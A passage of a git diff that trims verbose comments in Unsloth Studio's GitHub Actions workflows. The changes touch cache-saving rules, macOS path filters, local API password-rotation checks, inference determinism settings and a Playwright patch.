timeout-minutes: 10
run: pip install 'openai>=1.50,<4' 'anthropic>=1,<2'
- # Phase 1's environment and model cache sit HERE, after the shared
- # preamble, not before it. They used to run before the installer, which is
- # where they sat when phase 1 was its own job -- harmless then, because a
- # priming failure only killed that one job. Once the installer is shared,
- # the same failure would skip it under the implicit success() and every
- # later phase's gate would evaluate false. Ordering the shared setup first
- # keeps a phase-1 resource failure phase-local.
+ # Phase 1 setup sits after the shared preamble so its failure stays phase-local.
- name: Phase 1 environment (OpenAI, Anthropic API)
if: ${{ !cancelled() && steps.sdks.outcome == 'success' }}
run: |
@@ -278,19 +165,8 @@ jobs:
bash .github/scripts/hf-download-with-retry.sh ggml-org/models tinyllamas/stories260K.gguf
- name: Save HF_HOME for ${{ env.GGUF_REPO }}
- # Save on main only. Caches created on a PR ref are scoped to that
- # merge ref -- per GitHub's docs they "can only be restored by re-runs
- # of the pull request" -- while every PR *can* restore from the default
- # branch. So a PR-scoped save helps almost nothing and competes for the
- # per-repo cache budget, and when that budget is exceeded GitHub evicts
- # by least-recently-used, which deletes main's copies that all PRs share.
- # This repo's budget is 50 GiB, not GitHub's 10GB default, and it was
- # measured at 49.63 GiB across 258 entries -- 99.3% full, so eviction runs
- # at the margin. 20.74 GiB of that (42%) is the SAME key held on several
- # refs, and every one of those keys already has a copy on main, so the
- # PR-scoped duplicates are redundant by construction. That is the thrash
- # loop: PR misses -> downloads -> saves its own copy -> evicts main's ->
- # next PR misses.
+ # Save on main only: PR-scoped caches only serve that PR and evict main's shared copies
+ # from the near-full repo cache budget.
if: always() && github.ref == 'refs/heads/main' && steps.prime-hf.outcome == 'success' && hashFiles('hf-cache/**/*.gguf') != ''
uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0
with:
@@ -323,16 +199,13 @@ jobs:
NEW="CIRotated-$(python -c 'import secrets; print(secrets.token_urlsafe(12))')"
echo "::add-mask::$OLD"
echo "::add-mask::$NEW"
- # 1. Login with the bootstrap password.
OLD_TOKEN=$(curl -fs -X POST "http://127.0.0.1:${STUDIO_PORT}/api/auth/login" \
-H 'content-type: application/json' \
-d "{\"username\":\"unsloth\",\"password\":\"$OLD\"}" | jq -r .access_token)
[ -n "$OLD_TOKEN" ] && [ "$OLD_TOKEN" != "null" ] || { echo "bootstrap login failed"; exit 1; }
- # 2. Rotate to a fresh random password.
curl -fs -X POST "http://127.0.0.1:${STUDIO_PORT}/api/auth/change-password" \
-H "Authorization: Bearer $OLD_TOKEN" -H 'content-type: application/json' \
-d "{\"current_password\":\"$OLD\",\"new_password\":\"$NEW\"}" > /dev/null
- # 3. Old password must now be rejected (HTTP 401).
OLD_STATUS=$(curl -s -o /dev/null -w '%{http_code}' \
-X POST "http://127.0.0.1:${STUDIO_PORT}/api/auth/login" \
-H 'content-type: application/json' \
@@ -341,7 +214,6 @@ jobs:
echo "::error::Login with old password returned $OLD_STATUS, expected 401"
exit 1
fi
- # 4. New password must succeed; capture the JWT for downstream steps.
NEW_TOKEN=$(curl -fs -X POST "http://127.0.0.1:${STUDIO_PORT}/api/auth/login" \
-H 'content-type: application/json' \
-d "{\"username\":\"unsloth\",\"password\":\"$NEW\"}" | jq -r .access_token)
@@ -354,19 +226,8 @@ jobs:
timeout-minutes: 10
if: ${{ !cancelled() && steps.sdks.outcome == 'success' && steps.rotate-api.outcome == 'success' }}
run: |
- # speculative_type=off and n_parallel=1 are what make the determinism
- # assertion in the next step answerable. llama-server's README: "the
- # logits are not guaranteed to be bit-for-bit identical for different
- # batch" sizes. A non-MTP GGUF otherwise takes the --spec-default branch,
- # which is live n-gram drafting, not the absence of a drafter: the server
- # logs "draft acceptance = 0.46875 (30 accepted / 64 generated)". Its
- # draft pool is built from text the server has already seen, so the FIRST
- # turn-1 request after a load drafts nothing and decodes one token at a
- # time while every later one verifies a ~32-token draft in one batch, and
- # check(runner(), runner()) always compares the cold replay against a warm
- # one. n_parallel=1 also drops --kv-unified, whose shared-pool occupancy is
- # a second input to the batch. The other phases of this workflow keep both
- # defaults, so the shipped path stays covered.
+ # speculative_type=off and n_parallel=1 make the determinism check valid: n-gram drafting
+ # and --kv-unified change batch shapes between runs. Other phases keep the defaults.
curl -fs -X POST "http://127.0.0.1:${STUDIO_PORT}/api/inference/load" \
-H "Authorization: Bearer $TOKEN" -H 'content-type: application/json' \
--max-time 600 \
@@ -392,7 +253,6 @@ jobs:
ss -tln | grep ":${STUDIO_PORT}" || true
- name: Upload logs
- # Always upload so green runs are still reviewable.
if: always()
# Diagnostic only: a transient artifact-service drop must not fail a green job.
continue-on-error: true
@@ -405,9 +265,7 @@ jobs:
retention-days: 7
# ─────────────────────────────────────────────────────────────────────
- # Job 2: Tool calling Tests
# ─────────────────────────────────────────────────────────────────────
-
- name: Phase 2 environment (tool calling)
if: ${{ !cancelled() && steps.install.outcome == 'success' }}
run: |
@@ -415,8 +273,7 @@ jobs:
echo "GGUF_FILE=Qwen3.5-2B-UD-Q4_K_XL.gguf" >> "$GITHUB_ENV"
echo "STUDIO_PORT=18889" >> "$GITHUB_ENV"
echo "STUDIO_LOG=logs/studio_tools.log" >> "$GITHUB_ENV"
- # Phase 2 passes an absolute .gguf path to /api/inference/load and
- # never touches HF_HOME, but it must not inherit phase 1's either.
+ # Must not inherit phase 1's HF_HOME.
echo "HF_HOME=${{ github.workspace }}/hf-cache-tools" >> "$GITHUB_ENV"
- name: Restore GGUF model file
@@ -454,14 +311,8 @@ jobs:
id: boot-tools
timeout-minutes: 5
if: ${{ !cancelled() && steps.install.outcome == 'success' && steps.download-gguf.outcome != 'failure' }}
- # We deliberately use the API-only mode rather than
- # `unsloth studio run` because the latter calls
- # `set_tool_policy(...)` with a resolved bool: on loopback the
- # default resolves to True, which forces every request through
- # the server-side agentic loop and breaks the standard
- # function-calling test below. API-only mode leaves
- # tool_policy=None so each request's `enable_tools` field is
- # honoured.
+ # API-only mode leaves tool_policy=None so each request's `enable_tools` is honoured;
+ # `unsloth studio run` would force the agentic loop on loopback.
run: |
bash .github/scripts/boot-studio-api-only.sh --port "$STUDIO_PORT" --log "$STUDIO_LOG"
@@ -970,12 +821,10 @@ jobs:
for _ in $(seq 1 100); do kill -0 "${STUDIO_PID}" 2>/dev/null || break; sleep 0.1; done
kill -9 "${STUDIO_PID}" 2>/dev/null || true
ss -tln | grep ":${STUDIO_PORT}" || true
- # Capture backend + llama-server logs so a 500 has a server-side traceback.
mkdir -p logs/server-logs
cp -r ~/.unsloth/studio/logs/. logs/server-logs/ 2>/dev/null || true
- name: Upload logs
- # Always upload so green runs are still reviewable.
if: always()
# Diagnostic only: a transient artifact-service drop must not fail a green job.
continue-on-error: true
@@ -989,9 +838,7 @@ jobs:
retention-days: 7
# ─────────────────────────────────────────────────────────────────────
- # Job 3: JSON, images
# ─────────────────────────────────────────────────────────────────────
-
- name: Phase 3 environment (JSON, images)
if: ${{ !cancelled() && steps.sdks.outcome == 'success' }}
run: |
@@ -1001,11 +848,8 @@ jobs:
echo "MMPROJ_FILE=mmproj-F16.gguf" >> "$GITHUB_ENV"
echo "STUDIO_PORT=18890" >> "$GITHUB_ENV"
echo "STUDIO_LOG=logs/studio_vision.log" >> "$GITHUB_ENV"
- # Its own directory, not phase 1's `hf-cache`. Phase 1's entry is
- # byte-shared with the macOS and Windows gemma phases under a key with
- # no `runner.os`, and actions/cache identifies an entry by key AND a
- # hash of `path`, so phase 1 keeps `hf-cache` untouched and the vision
- # phase (whose key is already Linux-scoped) is the one that moves.
+ # Own directory: phase 1's hf-cache entry is shared cross-OS, and actions/cache keys on
+ # the path hash too.
echo "HF_HOME=${{ github.workspace }}/hf-cache-vision" >> "$GITHUB_ENV"
- name: Restore HF_HOME for ${{ env.GGUF_REPO }} (model + mmproj)
@@ -1042,9 +886,7 @@ jobs:
id: boot-vision
timeout-minutes: 5
if: ${{ !cancelled() && steps.sdks.outcome == 'success' && steps.prime-hf-vision.outcome != 'failure' }}
- # See phase 2's comment: API-only mode keeps tool_policy=None so
- # response_format requests aren't routed through the agentic
- # tool loop.
+ # API-only keeps tool_policy=None (see phase 2).
run: |
bash .github/scripts/boot-studio-api-only.sh --port "$STUDIO_PORT" --log "$STUDIO_LOG"
@@ -1074,9 +916,8 @@ jobs:
-H 'content-type: application/json' \
-d "{\"username\":\"unsloth\",\"password\":\"$NEW\"}" | jq -r .access_token)
echo "API_KEY=$TOKEN" >> "$GITHUB_ENV"
- # Retry: llama-server startup can race process teardown after a
- # failed attempt. Keep curl out of a pipe so HTTP failures are not
- # masked by jq.
+ # Retry: llama-server startup can race teardown. Keep curl out of a pipe so jq cannot
+ # mask HTTP failures.
LOAD_OK=0
for attempt in 1 2 3; do
HTTP=$(curl -s -o /tmp/load.json -w '%{http_code}' \
@@ -1276,7 +1117,6 @@ jobs:
ss -tln | grep ":${STUDIO_PORT}" || true
- name: Upload logs
- # Always upload so green runs are still reviewable.
if: always()
# Diagnostic only: a transient artifact-service drop must not fail a green job.
continue-on-error: true
diff --git a/.github/workflows/studio-load-orchestrator-ci.yml b/.github/workflows/studio-load-orchestrator-ci.yml
index 8141cd27a87..6b40e9a81af 100644
--- a/.github/workflows/studio-load-orchestrator-ci.yml
+++ b/.github/workflows/studio-load-orchestrator-ci.yml
@@ -1,29 +1,12 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-#
-# Event-loop regression test for the Unsloth model-load orchestrator.
-# Pins down issue #5642 (Win10 UI freeze on model load): the /load
-# route calls LlamaCppBackend.detect_audio_type synchronously, blocking
-# the FastAPI event loop on a chain of sync httpx.Client.post() probes.
-#
-# The suite stands up a stdlib fake llama-server + a tiny FastAPI app
-# via uvicorn and asserts that detect_audio_type runs via
-# asyncio.to_thread so concurrent /api/inference/load-progress polling
-# stays responsive. CPU-only, no torch, no real llama.cpp binary, no
-# GPU -- the matching cross-OS staging proof lives on
-# danielhanchen/unsloth-staging-2 (Ubuntu / macOS / Windows all
-# green at PR time).
+# Event-loop regression test: detect_audio_type must run via asyncio.to_thread so
+# load-progress polling stays responsive. CPU-only with a stdlib fake llama-server.
name: Unsloth load-orchestrator CI
-# Per-commit runs are gone: this suite now runs as a background lane inside Lint CI,
-# which already occupies a runner on every commit, so it costs a slot there instead of
-# holding one of its own for ~33s. Both call .github/scripts/lane-load-orchestrator.sh,
-# so there is one definition and the two cannot drift.
-#
-# Kept dispatchable because the suite is worth being able to run on its own. Note that
-# the push trigger it used to have had no paths filter, so it ran on EVERY commit to
-# main regardless of the four paths its PR trigger listed.
+# Per-commit runs live in Lint CI via .github/scripts/lane-load-orchestrator.sh; this
+# stays dispatchable.
on:
workflow_dispatch:
@@ -48,8 +31,6 @@ jobs:
- uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0
with:
python-version: '3.12'
- # One definition, shared with the Lint CI lane that runs this on every commit.
- # No venv argument here: this job owns its interpreter, and #9151 removed the
- # pip cache from it because it installs almost nothing.
+ # Shared with the Lint CI lane.
- name: Run load-orchestrator tests
run: bash .github/scripts/lane-load-orchestrator.sh
diff --git a/.github/workflows/studio-mac-install-matrix.yml b/.github/workflows/studio-mac-install-matrix.yml
index ae1ee8cf45f..7201da61ec1 100644
--- a/.github/workflows/studio-mac-install-matrix.yml
+++ b/.github/workflows/studio-mac-install-matrix.yml
@@ -1,10 +1,7 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Proves Unsloth's llama.cpp install loads on every supported macOS. The heavy
-# app smokes stay single-OS; this matrix covers the OS-version dimension cheaply
-# (install.sh + binary-load assert). Regression guard for the macOS-version
-# selection in studio/install_llama_prebuilt.py.
+# Proves the llama.cpp install loads on every supported macOS version.
name: Mac Unsloth Install Matrix CI
@@ -19,95 +16,52 @@ on:
- 'install.sh'
- '.github/scripts/assert-llama-loads.sh'
- '.github/workflows/studio-mac-install-matrix.yml'
- # install_llama_prebuilt.py, the module this matrix guards, imports
- # backend.utils.prebuilt.llama_backend at module scope, and prebuilt_core.py
- # imports backend.utils.auth_safe and the vendored truststore. They choose and
- # fetch the bundle assert-llama-loads.sh checks.
+ # Imported by install_llama_prebuilt.py, which this matrix guards.
- 'studio/backend/__init__.py'
- 'studio/backend/utils/__init__.py'
- 'studio/backend/utils/auth_safe.py'
- 'studio/backend/utils/prebuilt/__init__.py'
- 'studio/backend/utils/prebuilt/llama_backend.py'
- 'studio/backend/vendor/truststore/**'
- # The install step in this workflow is `uses:` on that composite action,
- # so an edit to the action changes what this workflow actually runs.
+ # The install step in this workflow is `uses:` on that composite action.
- '.github/actions/install-unsloth-local/action.yml'
- # Reached through install-unsloth-local, which uses the dist and uv cache pairs.
- '.github/actions/uv-cache-restore/action.yml'
- '.github/actions/uv-cache-save/action.yml'
- # The dist cache moved out of install-unsloth-local so the Windows jobs could
- # share one definition of its key; a change to it still has to re-run the jobs
- # that depend on it.
- '.github/actions/frontend-dist-restore/action.yml'
- '.github/actions/frontend-dist-save/action.yml'
- # Reached transitively by the install this workflow asserts on:
- # install.sh selects studio/setup.sh, which runs install_python_stack.py
- # (setup.sh:1444), and install_llama_prebuilt.py imports prebuilt_core
- # (install_llama_prebuilt.py:55).
- #
- # Deliberately NOT studio/backend/requirements/** or pyproject.toml, which
- # install_python_stack.py also consumes: generic install breakage on macOS is
- # clean-machine-install-ci's job and it lists both on either trigger with 7
- # macOS legs. Duplicating them here would re-spend the slots this filter saves.
+ # Reached by the install this workflow asserts on. Not requirements/** or pyproject:
+ # clean-machine-install-ci covers generic macOS install breakage.
- 'studio/install_python_stack.py'
- 'studio/prebuilt_core.py'
- # install_python_stack.py imports this; interrupted-install-ci.yml already
- # lists it for the same reason.
- 'studio/install_manifest.py'
- # Imported by BOTH files above, and it decides whether a CUDA build is a candidate
- # at all, so editing it changes what this matrix installs on a Mac too.
- 'studio/nvidia_probe.py'
push:
branches: [main]
- # Same list as the PR filter. Without it this workflow ran on EVERY commit to
- # main: a README-only commit fired all four unfiltered macOS workflows, seven
- # macOS legs, against an account-wide cap of five concurrent macOS jobs. The
- # post-merge backstop is unchanged, because a commit that cannot touch what
- # this workflow tests has nothing here to back up.
- # clean-machine-install-ci.yml and mlx-ci.yml already do exactly this.
+ # Same list as the PR filter, to spare the account-wide macOS slots.
paths:
- 'studio/install_llama_prebuilt.py'
- 'studio/setup.sh'
- 'install.sh'
- '.github/scripts/assert-llama-loads.sh'
- '.github/workflows/studio-mac-install-matrix.yml'
- # install_llama_prebuilt.py, the module this matrix guards, imports
- # backend.utils.prebuilt.llama_backend at module scope, and prebuilt_core.py
- # imports backend.utils.auth_safe and the vendored truststore. They choose and
- # fetch the bundle assert-llama-loads.sh checks.
+ # Imported by install_llama_prebuilt.py, which this matrix guards.
- 'studio/backend/__init__.py'
- 'studio/backend/utils/__init__.py'
- 'studio/backend/utils/auth_safe.py'
- 'studio/backend/utils/prebuilt/__init__.py'
- 'studio/backend/utils/prebuilt/llama_backend.py'
- 'studio/backend/vendor/truststore/**'
- # The install step in this workflow is `uses:` on that composite action,
- # so an edit to the action changes what this workflow actually runs.
+ # The install step in this workflow is `uses:` on that composite action.
- '.github/actions/install-unsloth-local/action.yml'
- # Reached through install-unsloth-local, which uses the dist and uv cache pairs.
- '.github/actions/uv-cache-restore/action.yml'
- '.github/actions/uv-cache-save/action.yml'
- # The dist cache moved out of install-unsloth-local so the Windows jobs could
- # share one definition of its key; a change to it still has to re-run the jobs
- # that depend on it.
- '.github/actions/frontend-dist-restore/action.yml'
- '.github/actions/frontend-dist-save/action.yml'
- # Reached transitively by the install this workflow asserts on:
- # install.sh selects studio/setup.sh, which runs install_python_stack.py
- # (setup.sh:1444), and install_llama_prebuilt.py imports prebuilt_core
- # (install_llama_prebuilt.py:55).
- #
- # Deliberately NOT studio/backend/requirements/** or pyproject.toml, which
- # install_python_stack.py also consumes: generic install breakage on macOS is
- # clean-machine-install-ci's job and it lists both on either trigger with 7
- # macOS legs. Duplicating them here would re-spend the slots this filter saves.
+ # Reached by the install this workflow asserts on. Not requirements/** or pyproject:
+ # clean-machine-install-ci covers generic macOS install breakage.
- 'studio/install_python_stack.py'
- 'studio/prebuilt_core.py'
- # install_python_stack.py imports this; interrupted-install-ci.yml already
- # lists it for the same reason.
- 'studio/install_manifest.py'
- # Imported by BOTH files above, and it decides whether a CUDA build is a candidate
- # at all, so editing it changes what this matrix installs on a Mac too.
- 'studio/nvidia_probe.py'
workflow_dispatch:
@@ -132,26 +86,7 @@ jobs:
fail-fast: false
matrix:
include:
- # This matrix used to exclude macos-14 as redundant: the job is
- # install.sh --local --no-torch followed by assert-llama-loads.sh, and
- # that pair already ran on macos-14 in studio-mac-ui-smoke,
- # studio-mac-inference-smoke and clean-machine-install-ci.
- #
- # The macos-14 retirement (brownouts from 2026-10-05, removed
- # 2026-11-02) moved those workflows to macos-15, so the same
- # redundancy argument appeared to transfer to the macos-15 leg here.
- # It does not, because of one path: this workflow lists its OWN file
- # in its `paths:` filter, and none of those three workflows does.
- # A PR touching only .github/workflows/studio-mac-install-matrix.yml
- # therefore starts this workflow and nothing else, so dropping the
- # macos-15 leg would leave changes to this file with no macOS 15 ARM
- # run at all. macos-26 and the Intel legs would still fire, but they
- # are different OS versions and, for the Intel pair, a different
- # architecture. The leg stays.
- #
- # Keep this in mind before "deduplicating" it again: the redundancy
- # holds for the four content paths above it and NOT for the self
- # path, so the leg is only redundant most of the time.
+ # Not redundant: a PR touching only this file runs no other macOS 15 ARM job.
- os: macos-15 # Apple Silicon, macOS 15 Sequoia
experimental: false
- os: macos-26 # Apple Silicon, macOS 26 Tahoe
diff --git a/.github/workflows/studio-mac-ui-smoke.yml b/.github/workflows/studio-mac-ui-smoke.yml
index 5770b11be84..aaa9d691b6e 100644
--- a/.github/workflows/studio-mac-ui-smoke.yml
+++ b/.github/workflows/studio-mac-ui-smoke.yml
@@ -1,26 +1,8 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Mac counterpart to studio-ui-smoke.yml. Same Playwright + Chromium
-# end-to-end chat UI flow, but on macos-15 (M1) so we catch
-# Mac-specific frontend / backend wiring regressions that the Linux
-# job would miss (e.g. the Mac Tauri shell loading the same React
-# bundle, or the Mac llama.cpp prebuilt's HTTP layer behaving
-# differently from the Linux build).
-#
-# Also carries two phases that used to be their own macOS jobs:
-# studio-mac-api-smoke.yml (API + auth) and studio-mac-update-smoke.yml
-# (update idempotency + uninstall). All three shared a byte-identical
-# `install.sh --local --no-torch` plus assert-llama-loads.sh bootstrap, so a
-# single studio/** PR paid three macOS slots and three full installs to test
-# three surfaces of the same install. Concurrent macOS jobs are capped at 5
-# account-wide and that pool is shared with unslothai/unsloth-zoo, so this was
-# the cheapest duplication in the repo to remove.
-#
-# Phase order matters. Each phase boots on its own port and writes its own
-# server log, and the update phase runs LAST because it ends by uninstalling
-# and asserting the machine is clean -- that is the teardown for the whole job,
-# so nothing needing Unsloth installed may follow it.
+# Mac counterpart to studio-ui-smoke.yml, plus the API, inference and update phases on
+# one install to save macOS slots. The update phase runs LAST: it uninstalls.
name: Mac Unsloth UI + API + Update + Inference CI
@@ -30,115 +12,71 @@ on:
# one ready has to start the run that tests it.
types: [opened, synchronize, reopened, ready_for_review]
paths:
- # The two halves Playwright drives, the backend and the React bundle, plus the
- # installer and CLI that put them on the box. Not studio/** and unsloth/**: the
- # install is --no-torch, so unsloth/** cannot reach the venv under test, and
- # studio/src-tauri is never built here, and this pool is capped at five jobs.
+ # Not studio/** or unsloth/**: the install is --no-torch and src-tauri is never built.
- 'studio/backend/**'
- 'studio/frontend/**'
- 'studio/setup.sh'
- 'studio/install_*.py'
- # install_node_prebuilt.py trusts the archives pinned here (setup.sh:1243).
- 'studio/node_prebuilt_pins.json'
- 'studio/prebuilt_core.py'
- 'studio/install_manifest.py'
- 'unsloth_cli/**'
- 'install.sh'
- 'pyproject.toml'
- # The Playwright drivers and studio_api_smoke.py the phases run.
- # The files under tests/studio the jobs execute, not all of it (hundreds of guard
- # tests and PowerShell units no step here runs). The lanes run
- # tests/studio/playwright_*.py scripts as plain python, whose only local import is
- # _playwright_robust.py, and the API step runs studio_api_smoke.py.
+ # Only the tests/studio files the jobs execute.
- 'tests/studio/playwright_*.py'
- 'tests/studio/_playwright_robust.py'
- 'tests/studio/studio_api_smoke.py'
- '.github/scripts/run-studio-permission-browser.sh'
- '.github/scripts/run-studio-indicator-browser.sh'
- '.github/workflows/studio-mac-ui-smoke.yml'
- # setup.sh runs nvidia_probe.py on every install, macOS included.
- 'studio/nvidia_probe.py'
- 'scripts/lockfile_supply_chain_audit.py'
- # Every server boot in this workflow shells out to that script, so an edit
- # to it changes what this workflow actually runs.
- '.github/scripts/boot-studio-api-only.sh'
- # Same for the /api/health wait that runs after a boot.
- '.github/scripts/wait-for-health.sh'
- # The install step in this workflow is `uses:` on that composite action,
- # so an edit to the action changes what this workflow actually runs.
+ # The install step in this workflow is `uses:` on that composite action.
- '.github/actions/install-unsloth-local/action.yml'
- # Reached through install-unsloth-local, which uses the dist and uv cache pairs.
- '.github/actions/frontend-dist-restore/action.yml'
- '.github/actions/frontend-dist-save/action.yml'
- '.github/actions/uv-cache-restore/action.yml'
- '.github/actions/uv-cache-save/action.yml'
- # The absorbed update phase round-trips scripts/uninstall.sh, which none
- # of the entries above cover.
- 'scripts/uninstall.sh'
- # Executed directly by this workflow: the load assertion and every model
- # download.
- '.github/scripts/assert-llama-loads.sh'
- '.github/scripts/hf-download-with-retry.sh'
- # Executed directly by the absorbed inference phase 1. The only entry
- # studio-mac-inference-smoke.yml watched that this filter did not
- # already cover.
- '.github/scripts/studio_smoke/multi_turn_chat.py'
push:
branches: [main]
- # Same list as the PR filter. Without it this workflow ran on EVERY commit to
- # main: a README-only commit fired all four unfiltered macOS workflows, seven
- # macOS legs, against an account-wide cap of five concurrent macOS jobs. The
- # post-merge backstop is unchanged, because a commit that cannot touch what
- # this workflow tests has nothing here to back up.
- # clean-machine-install-ci.yml and mlx-ci.yml already do exactly this.
+ # Same list as the PR filter, to spare the account-wide macOS slots.
paths:
- 'studio/backend/**'
- 'studio/frontend/**'
- 'studio/setup.sh'
- 'studio/install_*.py'
- # install_node_prebuilt.py trusts the archives pinned here (setup.sh:1243).
- 'studio/node_prebuilt_pins.json'
- 'studio/prebuilt_core.py'
- 'studio/install_manifest.py'
- 'unsloth_cli/**'
- 'install.sh'
- 'pyproject.toml'
- # The files under tests/studio the jobs execute, not all of it (hundreds of guard
- # tests and PowerShell units no step here runs). The lanes run
- # tests/studio/playwright_*.py scripts as plain python, whose only local import is
- # _playwright_robust.py, and the API step runs studio_api_smoke.py.
- 'tests/studio/playwright_*.py'
- 'tests/studio/_playwright_robust.py'
- 'tests/studio/studio_api_smoke.py'
- '.github/scripts/run-studio-permission-browser.sh'
- '.github/scripts/run-studio-indicator-browser.sh'
- '.github/workflows/studio-mac-ui-smoke.yml'
- # setup.sh runs nvidia_probe.py on every install, macOS included.
- 'studio/nvidia_probe.py'
- 'scripts/lockfile_supply_chain_audit.py'
- # Every server boot in this workflow shells out to that script, so an edit
- # to it changes what this workflow actually runs.
- '.github/scripts/boot-studio-api-only.sh'
- # Same for the /api/health wait that runs after a boot.
- '.github/scripts/wait-for-health.sh'
- # The install step in this workflow is `uses:` on that composite action,
- # so an edit to the action changes what this workflow actually runs.
+ # The install step in this workflow is `uses:` on that composite action.
- '.github/actions/install-unsloth-local/action.yml'
- # Reached through install-unsloth-local, which uses the dist and uv cache pairs.
- '.github/actions/frontend-dist-restore/action.yml'
- '.github/actions/frontend-dist-save/action.yml'
- '.github/actions/uv-cache-restore/action.yml'
- '.github/actions/uv-cache-save/action.yml'
- # The absorbed update phase round-trips scripts/uninstall.sh, which none
- # of the entries above cover.
- 'scripts/uninstall.sh'
- # Executed directly by this workflow: the load assertion and every model
- # download.
- '.github/scripts/assert-llama-loads.sh'
- '.github/scripts/hf-download-with-retry.sh'
- # Executed directly by the absorbed inference phase 1. The only entry
- # studio-mac-inference-smoke.yml watched that this filter did not
- # already cover.
- '.github/scripts/studio_smoke/multi_turn_chat.py'
workflow_dispatch:
@@ -157,11 +95,7 @@ jobs:
if: github.event_name != 'pull_request' || !github.event.pull_request.draft
name: Chat UI, API, Update and GGUF inference
runs-on: macos-15
- # 35 covered the UI phases alone. The absorbed API and update phases each
- # add a server boot plus their own checks, but both reuse this job's single
- # install rather than doing their own, so they cost minutes rather than the
- # ~10 the bootstrap takes. 65 leaves headroom without inviting a hang to sit
- # for an hour holding one of the 5 macOS slots.
+ # Phases share one install; the cap still bounds a hang holding a macOS slot.
timeout-minutes: 100
env:
GGUF_REPO: unsloth/gemma-3-270m-it-GGUF
@@ -171,30 +105,9 @@ jobs:
# Dump thread stacks on a backend stall (#9712).
UNSLOTH_STUDIO_STALL_WATCHDOG: '1'
HF_HOME: ${{ github.workspace }}/hf-cache
- # GitHub's macOS runners expose a PARAVIRTUAL Metal device, and Unsloth refuses to
- # offload to it because paravirtual Apple GPUs return corrupt output. The absorbed
- # inference phases therefore launch with `--gpu-layers 0 --device none`, which puts
- # the WHOLE model in host RAM rather than the partial spill the host-offload guard
- # was written for. #8883 prices that correctly and declines the load:
- #
- # "About 3 GB of this model does not fit in GPU memory and would run from system
- # RAM. Only about 4 GB is available and 2 GB of that is kept free for the rest of
- # the system, leaving about 2 GB usable."
- #
- # The guard is right: the runner cannot host gemma-4-E2B UD-Q4_K_XL (~2.4 GB) plus
- # mmproj-F16 (~780 MB) in 2 GB. Those phases ran green for weeks before the guard
- # existed because the prompts are tiny and the mapping is paged -- which is exactly
- # the gamble the guard stops taking on a user's machine. Here we take it knowingly.
- # The alternative is silently swapping the model the vision phase covers for a
- # smaller one, which changes what mac vision inference is tested against.
- #
- # Job-level, not on the vision phase alone: every phase in this job is CPU-only for
- # the same reason, so a runner image with a little less free RAM takes out the
- # tool-calling phase next. Set on the job so each booted server inherits it, and so
- # a phase added later inherits it too instead of failing mysteriously.
- #
- # This removes no coverage of the guard itself, which is tested in
- # studio/backend/tests/test_host_offload_ram_guard.py and test_llama_cpp_placement.py.
+ # Hosted macOS exposes only a paravirtual Metal device, so phases run fully on CPU and
+ # the #8883 host-offload RAM guard would decline the load. Allowed knowingly for the whole
+ # job; the guard is tested in studio/backend/tests.
UNSLOTH_ALLOW_HOST_OFFLOAD: '1'
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
@@ -209,9 +122,7 @@ jobs:
with:
python-version: '3.12'
- # Cross-OS shared entry. The tree under `hf-cache` is byte-identical on
- # Linux, macOS and Windows, so the key carries no `runner.os`, and
- # enableCrossOsArchive lets Windows (which tars with --force-local) join it.
+ # Cross-OS key: the hf-cache tree is byte-identical on every OS.
- name: Restore HF_HOME for ${{ env.GGUF_REPO }}
id: cache-hf
uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0
@@ -224,13 +135,8 @@ jobs:
- name: Prime HF_HOME with the GGUF
id: prime-hf
if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
- # Bounded on purpose. hf-download-with-retry.sh retries forever by
- # design ("the enclosing job's timeout-minutes is the real bound"), so
- # an hf-xet stall used to eat all 65 minutes and take the update and
- # uninstall coverage with it. A step timeout is a step FAILURE, not a
- # cancellation, so the bootstrap below still runs and the job reports
- # what it could test. 25 is roughly 7x the healthy time for a ~200 MB
- # GGUF plus stories260K, so a merely slow download will not trip it.
+ # hf-download-with-retry.sh retries forever; a step timeout fails the step, so later
+ # phases still run.
timeout-minutes: 25
env:
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
@@ -242,19 +148,8 @@ jobs:
bash .github/scripts/hf-download-with-retry.sh ggml-org/models tinyllamas/stories260K.gguf
- name: Save HF_HOME for ${{ env.GGUF_REPO }}
- # Save on main only. Caches created on a PR ref are scoped to that
- # merge ref -- per GitHub's docs they "can only be restored by re-runs
- # of the pull request" -- while every PR *can* restore from the default
- # branch. So a PR-scoped save helps almost nothing and competes for the
- # per-repo cache budget, and when that budget is exceeded GitHub evicts
- # by least-recently-used, which deletes main's copies that all PRs share.
- # This repo's budget is 50 GiB, not GitHub's 10GB default, and it was
- # measured at 49.63 GiB across 258 entries -- 99.3% full, so eviction runs
- # at the margin. 20.74 GiB of that (42%) is the SAME key held on several
- # refs, and every one of those keys already has a copy on main, so the
- # PR-scoped duplicates are redundant by construction. That is the thrash
- # loop: PR misses -> downloads -> saves its own copy -> evicts main's ->
- # next PR misses.
+ # Save on main only: PR-scoped caches only serve that PR and evict main's shared copies
+ # from the near-full repo cache budget.
if: always() && github.ref == 'refs/heads/main' && steps.prime-hf.outcome == 'success' && hashFiles('hf-cache/**/*.gguf') != ''
uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0
with:
@@ -329,12 +224,7 @@ jobs:
wait-all:
- name: Patch Playwright pipeTransport.js to tolerate malformed JSON
- # In Playwright 1.55-1.58, pipeTransport.js does
- # `JSON.parse(message)` with no try/catch; when Chromium dies
- # mid-write the partial buffer crashes the driver Node
- # process and the test script exits with 'Connection closed
- # while reading from the driver'. Newer Playwright versions
- # added a try/catch upstream. Backport that here.
+ # Backport upstream's try/catch around JSON.parse in pipeTransport.js.
run: |
python - <<'PY'
import os, re, sys
@@ -392,21 +282,10 @@ jobs:
BASE_URL: http://127.0.0.1:18896
PW_ART_DIR: logs/playwright
STUDIO_UI_STRICT: '1'
- # macos-15 free runner is 3 vCPU / 7 GB / no Metal-accel
